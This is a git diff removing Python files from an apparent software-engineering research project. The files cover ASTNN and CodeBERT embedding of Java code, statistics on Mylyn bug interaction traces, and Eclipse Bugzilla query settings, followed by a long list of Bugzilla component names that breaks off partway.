'op' in attr_names: - if self.node.op[0] == 'p': - token = self.node.op[1:] - else: - token = self.node.op - if token is None: - token = name - if lower and is_name: - token = token.lower() - return token - - -class FieldNode(ASTNode): - """ - 专门用于解析 field - """ - - def __init__(self, node): - self.node = node - self.token = self.get_token() - self.children = [] - - def get_token(self, lower=True): - return self.node.declarators[0].name.lower() diff --git a/astnn_embedding/utils.py b/astnn_embedding/utils.py deleted file mode 100644 index bde633f..0000000 --- a/astnn_embedding/utils.py +++ /dev/null @@ -1,81 +0,0 @@ -from javalang.ast import Node -from tree import BlockNode -import sys - -sys.setrecursionlimit(10000) - - -def get_token(node): - token = '' - if isinstance(node, str): - token = node - elif isinstance(node, set): - token = 'Modifier' # node.pop() - elif isinstance(node, Node): - token = node.__class__.__name__ - - return token - - -def get_children(root): - if isinstance(root, Node): - children = root.children - elif isinstance(root, set): - children = list(root) - else: - children = [] - - def expand(nested_list): - for item in nested_list: - if isinstance(item, list): - for sub_item in expand(item): - yield sub_item - elif item: - yield item - - return list(expand(children)) - - -def get_sequence(node, sequence): - token, children = get_token(node), get_children(node) - sequence.append(token) - - for child in children: - get_sequence(child, sequence) - - if token in ['ForStatement', 'WhileStatement', 'DoStatement', 'SwitchStatement', 'IfStatement']: - sequence.append('End') - - -def get_blocks_v1(node, block_seq): - name, children = get_token(node), get_children(node) - logic = ['SwitchStatement', 'IfStatement', 'ForStatement', 'WhileStatement', 'DoStatement'] - if name in ['MethodDeclaration', 'ConstructorDeclaration']: - block_seq.append(BlockNode(node)) - body = node.body - if body is not None: # 抽象函数没有 body - for child in body: - if get_token(child) not in logic and not hasattr(child, 'block'): - block_seq.append(BlockNode(child)) - else: - get_blocks_v1(child, block_seq) - elif name in logic: - block_seq.append(BlockNode(node)) - for child in children[1:]: - token = get_token(child) - if not hasattr(node, 'block') and token not in logic + ['BlockStatement']: - block_seq.append(BlockNode(child)) - else: - get_blocks_v1(child, block_seq) - block_seq.append(BlockNode('End')) - elif name is 'BlockStatement' or hasattr(node, 'block'): - block_seq.append(BlockNode(name)) - for child in children: - if get_token(child) not in logic: - block_seq.append(BlockNode(child)) - else: - get_blocks_v1(child, block_seq) - else: - block_seq.append(BlockNode(name)) - for child in children: - get_blocks_v1(child, block_seq) diff --git a/codebert_embedding/codebert.py b/codebert_embedding/codebert.py deleted file mode 100644 index 686618a..0000000 --- a/codebert_embedding/codebert.py +++ /dev/null @@ -1,63 +0,0 @@ -import gc - -import math - -from transformers import AutoTokenizer, AutoModel -from tokenizers import Tokenizer -import torch - -tokenizer = AutoTokenizer.from_pretrained("./codebert_base") -model = AutoModel.from_pretrained("./codebert_base", ) - -device = torch.device("cuda" if torch.cuda.is_available() else "cpu") -model = model.to(device) -# BPE_tokenizer = Tokenizer.from_file("./tokens/all_1_0.8_tokens_128.json") -# torch.Size([1, 23, 768]) -# tensor([[-0.1423, 0.3766, 0.0443, ..., -0.2513, -0.3099, 0.3183], -# [-0.5739, 0.1333, 0.2314, ..., -0.1240, -0.1219, 0.2033], -# [-0.1579, 0.1335, 0.0291, ..., 0.2340, -0.8801, 0.6216], -# ..., -# [-0.4042, 0.2284, 0.5241, ..., -0.2046, -0.2419, 0.7031], -# [-0.3894, 0.4603, 0.4797, ..., -0.3335, -0.6049, 0.4730], -# [-0.1433, 0.3785, 0.0450, ..., -0.2527, -0.3121, 0.3207]], -# grad_fn=) - - -def single_embedding(node: str): - with torch.no_grad(): - model.eval() - tokens = tokenizer.tokenize(node) - tokens_ids = tokenizer.convert_tokens_to_ids(tokens) - all_embeddings = [] - - for i in range(math.floor(len(tokens_ids) / 512) + 1): - sub_tokens = tokens_ids[i * 512: (i + 1) * 512] - if len(sub_tokens) > 0: - context_embeddings = model(torch.tensor(sub_tokens).to(device)[None, :])[0] - all_embeddings.append(torch.mean(context_embeddings, dim=1)) - del context_embeddings, sub_tokens - # if len(tokens_ids) == 0: - # tokens_ids = tokenizer.convert_tokens_to_ids(['[UNK]']) - # res = torch.mean(torch.stack(all_embeddings), dim=0) - # del all_embeddings, tokens, tokens_ids - # print(gc.collect()) - torch.cuda.empty_cache() - return torch.mean(torch.stack(all_embeddings), dim=0).squeeze(0).to(torch.device('cpu')) - -node = """ -nnn -""" -print(single_embedding(node).shape) - - -# def codebert(current_node: list[str]): -# result = [] -# for node in current_node: -# # output = BPE_tokenizer.encode(node) -# tokens = tokenizer.tokenize(node) -# tokens_ids = tokenizer.convert_tokens_to_ids(tokens) -# if len(tokens_ids) == 0: -# tokens_ids = tokenizer.convert_tokens_to_ids(['[UNK]']) -# context_embeddings = model(torch.tensor(tokens_ids)[None, :])[0] -# result.append(torch.mean(context_embeddings, dim=1)) -# return torch.cat(result, dim=0) diff --git a/codebert_embedding/embedding.py b/codebert_embedding/embedding.py deleted file mode 100644 index 4606f01..0000000 --- a/codebert_embedding/embedding.py +++ /dev/null @@ -1,89 +0,0 @@ -import os -from os.path import join -import pandas as pd -import xml.etree.ElementTree as ET -from tqdm.auto import tqdm -import warnings - -from codebert_embedding.codebert import single_embedding - -tqdm.pandas() -warnings.filterwarnings('ignore') - -repo_root_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'params_validation', - 'git_repo_code') - - -def choose_prediction_step(step: int, sources: pd.DataFrame, model_path, model_dir): - """ - 根据 step 过滤 ast - - :param sources: 完整的 ast 数据 - :param model_path: model 所在路径 - :param model_dir: model 序号 - :return: 过滤后的 ast - """ - if step == 3: - return sources - else: - step_model_path = join(model_path, str(step) + '_step_expanded_model.xml') - tree = ET.parse(step_model_path) # 拿到xml树 - # 获取XML文档的根元素 - code_context_model = tree.getroot() - graphs = code_context_model.findall("graph") - keys = [] - for graph in graphs: - vertices = graph.find('vertices') - vertex_list = vertices.findall('vertex') - for vertex in vertex_list: - ref_id = vertex.get('ref_id') - kind = vertex.get('kind') - keys.append(model_dir + '_' + kind + '_' + ref_id) - return sources[sources['id'].isin(keys)] - - -def get_embedding(tokens: pd.DataFrame) -> pd.DataFrame: - print('embedding codebert code...') - tokens['tokens'] = tokens['tokens'].progress_apply(lambda x: single_embedding(x)) - tokens.columns = ['id', 'embedding'] - # tokens.info() - return tokens - - -def main_func(step, description): - if description == 'all': - project_model_list = ['my_pde', 'my_platform', 'my_mylyn'] - elif description == 'onlymylyn': - project_model_list = ['my_mylyn'] - elif description == 'nopde': - project_model_list = ['my_platform', 'my_mylyn'] - elif description == 'noplatform': - project_model_list = ['my_pde', 'my_mylyn'] - elif description == 'mylyn': - project_model_list = ['my_mylyn'] - else: - project_model_list = [] - for project_model_name in project_model_list: - print('**********', project_model_name) - project_path = join(repo_root_path, project_model_name, 'repo_first_3') - model_dir_list = os.listdir(project_path) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - index = model_dir_list.index('1115') - for model_dir in model_dir_list[index:]: - print('---------------', model_dir) - model_path = join(project_path, model_dir) - tokens_path = join(model_path, 'java_tokens.tsv') - # 如果不存在block_path,跳过处理 - if not os.path.exists(tokens_path): - continue - # sources = pd.read_csv(tokens_path, sep='\t') - # sources = choose_prediction_step(step, pd.read_csv(tokens_path, sep='\t'), model_path, model_dir) - embedding_result = get_embedding( - choose_prediction_step(step, pd.read_csv(tokens_path, sep='\t'), model_path, model_dir)) - embedding_result.to_pickle(join(model_path, f'{description}_{step}_codebert_embedding.pkl')) - # del embedding_result - # gc.collect() - - -if __name__ == '__main__': - main_func(3, 'mylyn') diff --git a/data_count/01_zip_out.py b/data_count/01_zip_out.py deleted file mode 100644 index ee85a94..0000000 --- a/data_count/01_zip_out.py +++ /dev/null @@ -1,49 +0,0 @@ -# 该文件用于提取所有bug_zip中的xml文件到相应的目录中 -import os -import shutil -from os.path import isfile, isdir, join -import zipfile - - -def make_dir(directory): - """ - 创建一个目录 - - :param directory: 目录地址 - :return: 无返回值,创建目录 - """ - if os.path.exists(directory): - shutil.rmtree(directory) - os.makedirs(directory) - - -path = '../bug_dataset/mylyn_zip' - -project_dir_list = os.listdir(path) - -for project in project_dir_list: - project_path = join(path, project) - if not isdir(project_path): - continue - print('目录:', project, project_path) - bug_dir_list = os.listdir(project_path) - # 进入bug目录 - for bug in bug_dir_list: - bug_path = join(project_path, bug) - if not isdir(bug_path): - continue - zip_dir_list = os.listdir(bug_path) - # 读取到bug_zip - for bug_zip in zip_dir_list: - bug_zip_path = join(bug_path, bug_zip) - print(bug_zip_path) - if not zipfile.is_zipfile(bug_zip_path): - continue - zip_file = zipfile.ZipFile(bug_zip_path, 'r') - # 读取到zip里的xml文件 - copy_path = bug_zip_path.replace(".zip", "_zip") - make_dir(copy_path) - for xml_file in zip_file.namelist(): - zip_file.extract(xml_file, copy_path) - zip_file.close() - diff --git a/data_count/02_traces_and_events.py b/data_count/02_traces_and_events.py deleted file mode 100644 index 8d1ef9b..0000000 --- a/data_count/02_traces_and_events.py +++ /dev/null @@ -1,134 +0,0 @@ -# 该文件用于统计每个bug开始时间和结束时间和InteractionEvent个数等数据 -import os -from os.path import isdir, join -import xml.etree.ElementTree as ET -from datetime import datetime -import xlwt - -from data_count.time_util import get_common_time - -write_excel = None -sheet1 = None -line_index = None -row0 = ["bug report", "Interaction Traces", "xml", "InteractionEvent", "min StartDate", "max StartDate", - "event_duration(/s)", "bug_min_date", "bug_max_date"] - - -def init_xsl(): - global write_excel - global sheet1 - global line_index - global row0 - line_index = 0 - write_excel = xlwt.Workbook() # 创建工作表 - sheet1 = write_excel.add_sheet(u"Sheet1", cell_overwrite_ok=True) # 创建sheet - # 生成第一行 - for i in range(0, len(row0)): - sheet1.write(line_index, i, row0[i]) - - -def save_xsl(project_name: str): - global write_excel - file_name = project_name + ".xls" - if os.path.exists(file_name): - os.remove(file_name) - # 保存文件 - write_excel.save(file_name) - - -def write_xsl(row: list): - global line_index - global sheet1 - global row0 - line_index += 1 - # 生成第一行 - for i in range(0, len(row0)): - sheet1.write(line_index, i, row[i]) - - -path = '../bug_dataset/mylyn_zip' - -project_dir_list = os.listdir(path) - -total_bugs = 0 -total_traces = 0 -total_events = 0 - - -def get_duration_of_event(date_list: list[str]): - duration_list = [] # 相差的秒数 - for i in range(len(date_list) - 1): - time1 = datetime.strptime(date_list[i], '%Y-%m-%d %H:%M:%S') - time2 = datetime.strptime(date_list[i + 1], '%Y-%m-%d %H:%M:%S') - duration = time2 - time1 - duration_list.append(duration.total_seconds()) - return 0 if len(duration_list) == 1 else sum(duration_list) / (len(duration_list) - 1) - # 这里基数应该还要减一,不过不影响了,这里的这个数据不重要,他又变得重要了,我哭死 - - -for project in project_dir_list: - init_xsl() - total_bugs = 0 - total_traces = 0 - total_events = 0 - project_path = join(path, project) - if not isdir(project_path): - continue - print('目录:', project, project_path) - bug_dir_list = os.listdir(project_path) - total_bugs = len(bug_dir_list) - # 进入bug目录 - for bug in sorted(bug_dir_list, key=len): - xml_counts = 0 # 当前bug的xml文件个数,也就是Interaction Traces个数 - bug_path = join(project_path, bug) - if not isdir(bug_path): - continue - zip_dir_list = os.listdir(bug_path) - # 读取到bug_zip - for bug_zip in zip_dir_list: - bug_zip_path = join(bug_path, bug_zip) - if not isdir(bug_zip_path): - continue - xml_dir_list = os.listdir(bug_zip_path) - bug_start_time_list = [] - # 开始读取xml文件 - for xml_file in xml_dir_list: - if not xml_file.endswith('.xml'): - continue - xml_counts += 1 # 增加traces个数 - xml_file_path = join(bug_zip_path, xml_file) - tree = ET.parse(xml_file_path) - # 拿到InteractionHistory节点 - root = tree.getroot() - # 拿到所有的InteractionEvent - events_nodes = root.findall('InteractionEvent') - event_counts = len(events_nodes) # xml文件中的InteractionEvent个数 - total_events += event_counts - # print(events_nodes) - # 拿到所有event的开始时间 - start_date_list = [] - for event in events_nodes: - start_date_list.append(event.attrib.get('StartDate')) - for i in range(len(start_date_list)): - start_date_list[i] = get_common_time(start_date_list[i]) - start_date_list.sort() - average_duration = get_duration_of_event(start_date_list) # duration平均值 - # print(start_date_list) - # 统一为UTC时间 - min_start_date = start_date_list[0] # 最早开始时间 - max_start_date = start_date_list[len(start_date_list) - 1] # 最晚开始时间 - bug_start_time_list.append(min_start_date) - bug_start_time_list.append(max_start_date) - print("bug {} has {} Interaction Traces, xml {} has {} events, min StartDate is {}, max StartDate is {}" - .format(bug, xml_counts, bug_zip, event_counts, min_start_date, max_start_date)) - if xml_counts == len(zip_dir_list) / 2: - total_traces += xml_counts - write_xsl( - [bug, xml_counts, bug_zip, event_counts, min_start_date, max_start_date, - average_duration, min(bug_start_time_list), max(bug_start_time_list)]) - else: - write_xsl( - ['', xml_counts, bug_zip, event_counts, min_start_date, max_start_date, average_duration, '', - '']) - write_xsl([total_bugs, total_traces, '', total_events, '', '', '', '', '']) - save_xsl(project) diff --git a/data_count/ECF.xls b/data_count/ECF.xls deleted file mode 100644 index 4a5fec5..0000000 Binary files a/data_count/ECF.xls and /dev/null differ diff --git a/data_count/Mylyn.xls b/data_count/Mylyn.xls deleted file mode 100644 index 623ebd7..0000000 Binary files a/data_count/Mylyn.xls and /dev/null differ diff --git a/data_count/PDE.xls b/data_count/PDE.xls deleted file mode 100644 index 7655856..0000000 Binary files a/data_count/PDE.xls and /dev/null differ diff --git a/data_count/Platform.xls b/data_count/Platform.xls deleted file mode 100644 index e2eb85e..0000000 Binary files a/data_count/Platform.xls and /dev/null differ diff --git a/data_count/count_interaction_history.py b/data_count/count_interaction_history.py deleted file mode 100644 index e96f850..0000000 --- a/data_count/count_interaction_history.py +++ /dev/null @@ -1,35 +0,0 @@ -import os -from os.path import join, isdir - -import numpy as np - - -path = '../bug_dataset/mylyn_zip' -project_dir_list = os.listdir(path) -print(project_dir_list) -total_count = [] -for project in project_dir_list: - count = [] - project_path = join(path, project) - if not isdir(project_path) or project == 'ECF': - continue - print('目录:', project, project_path) - bug_dir_list = os.listdir(project_path) - bug_dir_list = sorted(bug_dir_list, key=lambda x: int(x)) - result = [] - # 进入bug目录 - for bug in bug_dir_list: - # print('-----', bug) - bug_path = join(project_path, bug) - if not isdir(bug_path): - continue - zip_dir_list = os.listdir(bug_path) - zip_dir_list = list(filter(lambda x: not x.endswith('.zip'), zip_dir_list)) - count.append(len(zip_dir_list)) - total_count.append(len(zip_dir_list)) - n = np.array(count) - print(np.count_nonzero(n)) - print(n.size, np.mean(n), np.min(n), np.max(n), np.median(n), np.std(n)) -n = np.array(total_count) -print(np.count_nonzero(n)) -print(n.size, np.mean(n), np.min(n), np.max(n), np.median(n), np.std(n)) diff --git a/data_count/time_util.py b/data_count/time_util.py deleted file mode 100644 index 1c108f8..0000000 --- a/data_count/time_util.py +++ /dev/null @@ -1,41 +0,0 @@ -from dateutil.parser import parse -from datetime import timezone - -rfc_timezones = { - 'CET': '+1:00', - 'CDT': '-5:00', - 'CEST': '+2:00', - 'COT': '-5:00', - 'PET': '-5:00', - 'IST': '+5:30', - 'CST': '-6:00', - 'BST': '+1:00', - 'GMT': '+0:00', - 'PDT': '-7:00', - 'PST': '-8:00', - 'EET': '+2:00', - 'EDT': '-4:00', - 'MDT': '-6:00', - 'EST': '-5:00', - 'MST': '-7:00', - 'BRT': '-3:00', - 'EEST': '+3:00', - 'BRST': '-2:00', - 'JST': '+9:00', - 'YAKT': '+9:00', - 'ICT': '+7:00' -} - - -def get_common_time(time_str: str): - time_list = time_str.split(' ') - i = time_list[2].find('+') - if i != -1: - time_list[2] = time_list[2].replace(time_list[2][i:], '') - i = time_list[2].find('-') - if i != -1: - time_list[2] = time_list[2].replace(time_list[2][i:], '') - offset = rfc_timezones.get(time_list[2]) - time_list[2] = offset - res = parse(' '.join(time_list)) - return res.astimezone(timezone.utc).strftime('%Y-%m-%d %H:%M:%S') diff --git a/data_extraction/Utils.py b/data_extraction/Utils.py deleted file mode 100644 index a2669b8..0000000 --- a/data_extraction/Utils.py +++ /dev/null @@ -1,13 +0,0 @@ -def concat_component_url(origin_url: str, components: list[str]): - """ - 拼接 components 到 url 中 - - :param origin_url: 原来的 url - :param components: 组件列表 - :return: 拼接好的 url - """ - component_str = '' - for component in components: - component_str += '&component=' + component - new_url = origin_url.replace('&limit', component_str + '&limit') - return new_url diff --git a/data_extraction/bugzilla_data/component/ECF.py b/data_extraction/bugzilla_data/component/ECF.py deleted file mode 100644 index 4051d8b..0000000 --- a/data_extraction/bugzilla_data/component/ECF.py +++ /dev/null @@ -1,48 +0,0 @@ -url = 'https://bugs.eclipse.org/bugs/buglist.cgi?bug_status=CLOSED&bug_status=RESOLVED&bug_status=VERIFIED&limit=0' \ - '&product=ECF&query_format=advanced&resolution=FIXED' - -name = 'ECF' - -total_bugs = 1634 # 538 - -index = 0 - -components = [ - 'ecf.cola', - 'ecf.core', - 'ecf.data', - 'ecf.disc', - 'ecf.doc', - 'ecf.exam', - 'ecf.file', - 'ecf.news', - 'ecf.pres', - 'ecf.prot', - 'ecf.prov', - 'ecf.rele', - 'ecf.remo', - 'ecf.serv', - 'ecf.tele', - 'ecf.test', - 'ecf.tool', - 'ecf.twit', - 'ecf.ui' -] - - -def add_index(): - global index - if index >= len(components): - index = 0 - else: - index += 1 - - -def set_index(new_index: int): - global index - if new_index >= len(components): - raise Exception('index over') - else: - index = new_index - - diff --git a/data_extraction/bugzilla_data/component/MDT.py b/data_extraction/bugzilla_data/component/MDT.py deleted file mode 100644 index df97aac..0000000 --- a/data_extraction/bugzilla_data/component/MDT.py +++ /dev/null @@ -1,30 +0,0 @@ -url = 'https://bugs.eclipse.org/bugs/buglist.cgi?bug_status=CLOSED&bug_status=RESOLVED&bug_status=VERIFIED&limit=0' \ - '&product=MDT&query_format=advanced&resolution=FIXED' - -name = 'MDT' - -total_bugs = 79 # 79 - -index = 0 - -components = [ - 'Releng', - 'Website', - 'XSD' -] - - -def add_index(): - global index - if index >= len(components): - index = 0 - else: - index += 1 - - -def set_index(new_index: int): - global index - if new_index >= len(components): - raise Exception('index over') - else: - index = new_index diff --git a/data_extraction/bugzilla_data/component/Mylyn.py b/data_extraction/bugzilla_data/component/Mylyn.py deleted file mode 100644 index 61db810..0000000 --- a/data_extraction/bugzilla_data/component/Mylyn.py +++ /dev/null @@ -1,8 +0,0 @@ -# 选择的条件 Resolution: FIXED Status: CLOSED, RESOLVED, VERIFIED - -url = 'https://bugs.eclipse.org/bugs/buglist.cgi?bug_status=CLOSED&bug_status=RESOLVED&bug_status=VERIFIED&component' \ - '=Mylyn&limit=0&query_format=advanced&resolution=FIXED' - -name = 'Mylyn' - -total_bugs = 8181 # 8181 - 1 diff --git a/data_extraction/bugzilla_data/component/PDE.py b/data_extraction/bugzilla_data/component/PDE.py deleted file mode 100644 index bb8c19e..0000000 --- a/data_extraction/bugzilla_data/component/PDE.py +++ /dev/null @@ -1,33 +0,0 @@ -url = 'https://bugs.eclipse.org/bugs/buglist.cgi?bug_status=CLOSED&bug_status=RESOLVED&bug_status=VERIFIED&limit=0' \ - '&product=PDE&query_format=advanced&resolution=FIXED' - -name = 'PDE' - -total_bugs = 9801 # 8372 - -index = 0 - -components = [ - 'API Tool', - 'Build', - 'Doc', - 'Incubato', - 'UI', -] - - -def add_index(): - global index - if index >= len(components): - index = 0 - else: - index += 1 - - -def set_index(new_index: int): - global index - if new_index >= len(components): - raise Exception('index over') - else: - index = new_index - diff --git a/data_extraction/bugzilla_data/component/Platform.py b/data_extraction/bugzilla_data/component/Platform.py deleted file mode 100644 index 63494b1..0000000 --- a/data_extraction/bugzilla_data/component/Platform.py +++ /dev/null @@ -1,48 +0,0 @@ -url = 'https://bugs.eclipse.org/bugs/buglist.cgi?bug_status=CLOSED&bug_status=RESOLVED&bug_status=VERIFIED&limit=0' \ - '&product=Platform&query_format=advanced&resolution=FIXED' - -name = 'Platform' - -total_bugs = 53882 # 47923-5 - -index = 0 - -components = [ - 'Ant', - 'Compare', - 'CVS', - 'Debug', - 'Doc', - 'IDE', - 'Incubato', - 'PMC', - 'Releng', - 'Resource', - 'Runtime', - 'Scriptin', - 'Search', - 'SWT', - 'Team', - 'Text', - 'UI', - 'Update', - 'User Ass', - 'WebDAV', - 'Website' -] - - -def add_index(): - global index - if index >= len(components): - index = 0 - else: - index += 1 - - -def set_index(new_index: int): - global index - if new_index >= len(components): - raise Exception('index over') - else: - index = new_index diff --git a/data_extraction/bugzilla_data/components.txt b/data_extraction/bugzilla_data/components.txt deleted file mode 100644 index a0b3ffc..0000000 --- a/data_extraction/bugzilla_data/components.txt +++ /dev/null @@ -1,1021 +0,0 @@ -3p -4DIAC-IDE -4DIAC-LIB -4DIAC-SYS -A spam bug -Accounts.eclipse.org -ACTF -Actinium -Action Tracking System (ATS) -Addons -Admin -Adoptium -AERI -Aether -AF and VP -Agent -AGF -AGF Chart -aggregator -AJBrowser -AJDoc -Albireo -ALF -Algorithms -all-packages -AM3 -AM3(deprecated) -AMF -AMF UI -AML -AMW -Analyses -Analysis -android-package -Annotations -Ant -Antenna -Apache Derby Conn Profile -Aperi -API -API Tools -API.eclipse.org -Apogee -Application Deployment -Application Development -Application Modelling -Apricot -APT -Architecture Council -Articles -Artifact Handlers -artifact repository -Aspect PHP -AST viewer -ATF -Auth&Auth -Automated Error Reporting Client (AERI) -automotive-package -Autotools -AXF -AXF UI -b3 -Backchannel -Backlog -BIRT -BLAM -Blinki -Blogs -BPEL -BPMN -BTF -Buckminster -Bugzilla -Build -build help -build.system -bundles -bundlor -Business -Californium -Call Graph -Capella Gitadapter -Capella Studio -CBI p2 Repository Aggregator -CDA -cdi -CDO -cdo.core -cdo.dawn -cdo.db -cdo.docs -cdo.legacy -cdo.net4j -cdo.net4j.db -cdo.net4j.ui -cdo.releng -cdo.ui -cdt-arduino -cdt-autotools -cdt-build -cdt-build-managed -cdt-cmake -cdt-codan -cdt-core -cdt-debug -cdt-debug-cdi -cdt-debug-cdi-gdb -cdt-debug-dsf -cdt-debug-dsf-gdb -cdt-debug-edc -cdt-debug-hardware -cdt-doc -cdt-docker -cdt-editor -cdt-gdb-standalone -cdt-indexer -cdt-lsp -cdt-memory -cdt-other -cdt-parser -cdt-qt -cdt-refactoring -cdt-releng -cdt-source-nav -CDTK -Cell -CEP -ChangeLog -Charter -Chess -CI-Jenkins -cli -client -Clientcore -ClientUI -Cloud -Cloud Monitoring -CME -Co-Evolution -cobol -Code Generation -Code Generators -Codegen -Codewind -Collaboration -Command Line -Commits Explorer (Retired) -committers-package -CommitterTools -Common -Common Builder (Retired) -Common-Debug -commons -communication -Compare -Compare & Merge IDE Integration -Compendium -Compiler -components -Concierge -Connection Mgt Framework -Connectivity -Connector -Connectors -contactBaseData (Kontaktstammdaten) -Contribution -Core -Corona -Cosmos -cpp-package -Cross-Project -CTF -CTK -CTK/Doc -CVS -Cybersecurity -Damos -Dash Athena -Dash Handbook -Dash Submission System -Dashboard -Data Binding -Data Source Explorer -datasource -datasource-nosql -datasource-relational -DataTools -DB Definition Model -DD -DDL Generation -Debug -Debug Core -Debug SDM -Debug UI -Define -Demo -demo & examples -DEPL -Deployment -design -Designer -Desktop -Detachment -Development -Diagram -Diagram Editor -Diagrams -Diff-Merge -Disease -DITA -DLTK -Doc -Doc2Model -Docker -Docmlet -Docs -Documentation -downloads and updates -Driver Mgt Framework -DSDP -DSE -DSE Data Actions -DSL -dsl-package -Dynamic Package Delivery -Dynamic Working Sets -e4 -E4 Extension -EATop -eBam -eBPM -EBR -ECD Tools -Ecesis -ecf.cola -ecf.core -ecf.datashare -ecf.discovery -ecf.doc -ecf.examples -ecf.filetransfer -ecf.newsreader -ecf.osgi.tck -ecf.presence -ecf.protocols -ecf.providers -ecf.releng -ecf.remoteserviceadmin -ecf.remoteservices -ecf.server -ecf.telephony -ecf.test -ecf.tooling -ecf.twitterhub -ecf.ui -ECL -Eclipse monkey -eclipse-build -EclipseBot -EclipseCon -Eclipselink -EclipseLIVE -Edit -Editor -Editor UI -editors -EDT -Education -EJB -EL -Electron -elogbook (Betriebstagebuch) -embedcpp-package -EMF Databinding -EMF Forms -EMF-Facet -EMF4Net -Emfatic -EMFIndex -EMFIndex.Core -EMFT -EMFT search -EMFT.MFT -EMFT.Servus -emftvm -emfvm -EMO Approvals -EMS -Enablement -Enablement:ODA -Enablement:SAP -Enablement:Sybase -engine -Engines -EnglishStrings -EODM -EOL -EPF -EPIC -Eplmp -ERCP -Errors -Escape -ESL -ESON -ETFw -Events.eclipse.org -Examples -Extender -Extra -Facet -Faceted Project Framework -FAQ -fastcgi -Featuremodel -FHIR -Filtering -FLS -Flux -FMC -FoE Disbursements -Forms -FORTE -Forum -Forums and Newsgroups -Framework -Ganomatic -GCov -gdbtrace -GDPR -Geclipse -GEF Cloudio -GEF Common -GEF DOT -GEF FX -GEF Geometry -GEF Graph -GEF Layout -GEF MVC -GEF Zest -GEF-Legacy Draw2d -GEF-Legacy GEF (MVC) -GEF-Legacy Zest -Gef3d -GEFBot -GEM -Gemini Demos -Gemini Integration -Gems -GenDoc HTML -General -Generation / Templates -Generators -Generic callstack -Generic Implementations -GeoMap -GeoTools -Gerneral -Gerrit -GIG -Git -Gitflow -GitHub -Glassfish -Glassfish-tools -GlazedLists Extension -Glimmer -gmt -GMT.Mofscript -Golo -GProf -Graphiti -Greycat -gridFailureInformation (Störungsinformationstool) -Groovy -GUI -gyrex -Headless -Help -Hibachi -Higgins -hip -Hosted Services Privacy and Acceptable Usage Policy -http2 -Hudson sandbox -Hyades -IAM -IDE -IDE Integration -ide-core -ide-db -ide-editor-ace -ide-editor-designer -ide-editor-orion -ide-rcp -ide-repository -ide-scm-jgit -ide-templates -ide-workspace -IDE4EDU -IMM -IMP -Incubation -Incubator -Incubator.DeviceKit -Incubators -Information Meta-Model -Information Modeling -Information System -Infrastructure -Inject -Install -Installer -Integrations -Internal -Interoperability -Interpreter -IO -IoT -IoTML -IP Log Tool -IPZilla -ISP -IWG -J2EE Standard Tools -Jakarta Interceptors -JakartaEE -Jakartaee-Platform -Jakartaee-stable -jakartaee-tck -January -java-package -javame-package -JavaScript -javascript-package -jax-rs -JAXB -jBPM5 Target Runtime -JCA -JCR Management -JCRM -JDBC Conn Profile -JDT and PDE Extensions -jee-package -Jersey -Jet -Jetty -JFace -JGit -jndi -JPA -JS Tools -js4emf -jsf -JSF Tools -JsonP -jsp -JSR220orm -jst.ejb -jst.j2ee -jst.jem -jst.jsp -jst.server -jst.servlet -jst.ws -jst.ws.jaxws -Kepler -Keyboard Layouts -Koneki -Krikkit -Lang -Languages -Laszlo -Launch -launchbar -Launcher -LDP -Lepido -Leshan -Libhover -Libra -Library -license -LinuxTools -linuxtools-package -LocationTech -Look And Feel -LSP4E -Lsp4j -LTS -LTTng -LTWeaving -LuaDevelopmentTools -m2e -M2MQTT -M2x IDE Integration -Macro -Mail -MailingLists -Main -ManPage -Manufacturing -Mapping -Marketplace -Marte -Mass VP -Mattermost -Maven -Maven 2 -Maven 3 -maven-plugins -Maynstall -MDDi -MDMWeb -MDR -MDT.MST -meta -Meta-model -Metalua -Metamodel -Metrics -MicroProfile -Mint -Misc -mobile -Model -Model Migration -Model Transformation -Model Transformation - Simulation -Model Transformation - Synthetic Load -Model Workspace -Model2Doc -ModelBase -modeling -Modeling Tools -modeling-package -ModelMutator -Models -ModelValidation -Modes/States VP -Modules -Mojos -Moka -Mosquitto -MPI Development Tools -Mpsutil -MQTT -MQTT-Android -MQTT-C++ -MQTT-Embedded-C -MQTT-Lua -MQTT-Obj-C -Mscript -MST -MTJ projects -MWE -MXF.Core -MXF.Editor -My Account -Mylyn -Nab -navigation -Navigator -Navigator & Editor Sockets -Nebula -Nebula Extension -New Features -Nexus -Node -Notation -Obfuscator -objecttransaction -OFMP -OHF -Omelet -Open Data Access -OpenADX -openGENESIS -OpenHW Group -OpenID Connect -OpenK-platform -OpenMDM -openMobility -openPASS -Operator -Orb -org.eclipse.soa.mangrove.branches -org.eclipse.soa.mangrove.builder -org.eclipse.soa.mangrove.core -org.eclipse.soa.mangrove.leaves -org.eclipse.soa.mangrove.roots -OrionHub -ORMF -OSEE Application Framework -OSEE Test Environment (OTE) -osgi -OTDT -OTEquinox -Other -Others -OTJ -OTJPA -OTMvn -Outside Services -overlay -p2 -P2 Management -p2 Repository Analyzers -package content -Package-drone -Packager -Pagination Control -Paho -Paho.MQTT-Python -PapyrusReq -parallel-package -Patch -Patterns -Pave -pcap -PDE Build -PDT -perf -Perfo VP -Phoenix -Photran -Photran.Debugger & Console View -Photran.Documentation -Photran.Editor & Outline View -Photran.For Internal Use -Photran.Managed Make -Photran.Parser -Photran.Problems View & Error Markers -Photran.Refactoring Engine -Photran.Unknown -php-package -PhysicalUnits -Picasso -Picture control -PlanetEclipse -plannedGridMeasures (Geplante Netzmaßnahmen) -Platform -platform-api -platform-api-client-gwt -Platforms -PLDT -Plexus -Plug-ins -Plugin -plugin-angularjs -plugin-bower -plugin-contribution -plugin-cpp -plugin-datasource -plugin-editor-codemirror -plugin-editor-orion -plugin-gae -plugin-git -plugin-go -plugin-grunt -plugin-gulp -plugin-hosted -plugin-java -plugin-npm -plugin-php -plugin-python -plugin-ruby -plugin-runner -plugin-sdk -plugin-svn -plugin-tour -plugin-yeoman -Plugins -PMC -PMF -POI Extension -Polarsys -Pollinate -Ponte -Preferences Management -Prereq -Price VP -Privacy Designer -Process -Profiling framework -Project -Project Builder -Project Configuration -Project Management -Project Management & Portal -Projects -Properties -Proposals and Reviews -ProR -ProtocolModules -prototype -proxy -Pulsar -Python -QA -QFTP -qualifier generation -Query -Query Language -Query2 -R IDE -Rat -RC -RC & Web Demonstrator -RCP -rcp-package -RDF4J -RDT -RDT.sync -Rec-Rpl -Recommenders -Recommenders.incubator -Recorder/Generator -Refactorings -Release Engineering -ReleaseEngineering -Releng -Releng/Management -remote -Remote Tools -Remus -reporting-package -repository -repository-git -repository-local -repository-rcp -repository-rdbms 